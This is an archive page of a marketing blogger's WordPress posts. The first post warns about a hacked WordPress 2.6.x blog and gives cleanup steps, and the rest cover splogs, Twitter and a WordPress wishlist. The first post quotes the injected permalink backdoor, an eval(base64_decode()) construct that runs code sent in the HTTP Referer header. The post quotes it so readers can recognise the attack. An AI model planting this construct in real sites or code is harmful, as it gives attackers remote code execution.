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Archive of ‘blogging’ category

URGENT: If Your WordPress Blog is Acting Strangely, Follow These Steps

I checked my blog and the URLs looked malformed, with the following structure: http://www.whoisandrewwee.com/2009/09/03/unlocking-unconventional-traffic-sources-for-affiliate-campaigns/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/#comment-506929

If you notice something similar or weird with your WordPress blog, you might want to take the following steps:

  • Check the “users” tab from the WP admin interface
  • Remove any unfamiliar users, esp those marked as “administrator”
  • To prevent users from registering, I’d go as far as to remove wp-register.php (keep a backup and FTP it back in if you have problems)
  • Check all of WordPress’ PHP scripts, remove global “execute” privileges

Once you’ve secured the perimeter, look at the “Settings” and “permalinks” tab.

If you see some weird stuff like “%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/#comment-506929″, you’d want to clear that, and replace it with your original permalink structure, or look it up on the WordPress codex.

You can also check out this other blog post for more details.

Note: this issue seems to be affecting WordPress 2.6.x. Not sure to what extent it’s affecting version 2.8.x.

UPDATE: Matt Mullenweg from the WordPress development team has posted about the security issues if you’re using an older version of WordPress. Here’s a WP support forum write up about what might be happening.

You might want to upgrade to a newer version of WordPress. Just take note that some of your plugins/themes might not work if the developer hasn’t updated the plugin for compliance with the newest version.

New Generation of Made for Adsense Blogs Proliferate

If blatantly taking a blog’s RSS and republishing on their domain, plastering the post with adsense wasn’t enough, sploggers (spam bloggers) have started using a new WordPress plugin to do their dirty work.

Enter the “Related Blogs” plugin, an otherwise somewhat useful plugin that works like a “Related Blog Posts” plugin, except that it will point outside the blog to other blogs in the blogosphere, attempting to fire off a trackback in the other blog’s comments section in the process.

While writing a content-filled post and looking for related blogs using relevant keywords/keyphrases can provide value to the reader and help create an inter-blog conversation, merely throwing in high traffic keywords into the plugin and accompanying that with little or no blog content does not create any value for your readers.

Take a look at these examples:

related blogs

The example above shows the classical layout of a MFA (made-for-adsense) blog with a Google adsense block, followed by content below. In this case “content” was generated by doing (more…)

When A Blog Isn’t A Blog…

With the multitude of functions that blogging platforms are currently being appropriated for (especially  WordPress software), is blogging in danger of losing its identity.

It’s no surprise that blogs are highly optimized for search engines, tend to be the weapon of choice for linkbait campaigns and are usually the chosen weapon when a single individual (or marketer) decides to take on an airline, supermarket chain, or budget airline.

confused

Add to that the fact that affiliate marketers are also employing it’s flexible architecture to construct landing pages, opt-in forms, affiliate content sites, shopping/shopping comparison sites, coupon sites, customer loyalty sites (plus the occasional or maybe not so occasional affiliate cookie stuffing site) and you’d realize that it’s not just a diarying platform anymore.

In a tweet yesterday, Top Ranking Marketing CEO Lee Odden fired (more…)

Overcoming Blogging’s Style Versus Substance Challenge

The answer to an old question whether it’s more important to focus on style or content (also sometimes refered to as “form or function”) when it comes to content publishing on the internet will have most listeners responding “You need both quality content and an interesting way to generate traffic and monetize it.”

Easier said than done though.

challenge

From my research, most podcasters and video bloggers who generate “interesting” (ie not boring) content tend to be clever/witty, use cool background music, broadcast/guerilla-style video effects and transitions, to the point of being Seinfeld-ish (ie being about nothing) in nature.

If anything, the message is (more…)

Et tu, Twitter? – Will New Social Media Render Blogging Obsolete?

With the amount of publicity in old guard mainstream media (late night talk shows, old line newspapers), you’d think that Twitter was the best thing since sliced bread, which leaves some wondering if the death knell has been sounded for bloggers.

Take a look at the signs of the impending apocalypse, once proud A-Lister bloggerati have taken a hiatus, stopped blogging, or are pummelled over the twitterstream into irrelevance. Is blogging, once the circa 2006 golden boy of mainstream media, now it’s whipping boy?

dinosaur

More importantly, is anyone going to read more than the 140 character limit imposed by micro blogging platforms like Twitter?

Are we destined to become a SMS/text nation?

Gee… (more…)

My WordPress 2.x Wishlist

Since it’s been almost a year since I set up my last blog, it’s been a somewhat nostalgic experience looking at how the platform has changed since I started using it in 2006 with it’s 1.x incarnation.

Having played with a WP 2.7.1 install, it seems to chug along slower compared to it’s 2.5.1 predecessor, and hopefully this doesn’t signal a path down the bloatware route, even if it comes with lots of shiny bells and whistles, compared to before.

WordPress has become much easier to use now for the most part, with several functions accessible behind the browse-based point-and-click interface. In the past you had to FTP files down, edit them with a text editor and upload them, or use the clunky “theme editor” function and edit the text from there.

I started out in 1997 writing HTML on a text editor and created tables writing raw table, tr,td,/td,/tr, /table tags. I later progressed on to using WYSIWYG text editors and software like XSite Pro. These days I do almost everything exclusively with WordPress only or in tandem with other software like vBulletin forum software, Aweber email autoresponder software, Joomla or some of the new CMSes I’ve been working with recently.

HTML editors have gone to the scrapheap for me. That’s not to say that WordPress is the final word in creating new niche affiliate sites though.

Here is my wishlist:

wishlist

Here are a couple of things that WordPress has done well:

  • Spam control: Akismet works hard to keep trackback spam, comment spam out of the woodwork. I use a couple more for good measure so very little spam is sitting in the moderation basket each day.
  • Tagging: Keywords and tags help readers find relevant content, especially with the millions of blogs floating in the blogosphere. They’re one step further towards relevant and have made older plugins like Tag Warrior float into lesser prominence.
  • Native embedding of video and other embed code: While you had to jump through hoops to place a YouTube video in a blog post, the process is a pretty seamless copy-and-paste job now.

Here are a couple of things that would help WordPress become (more…)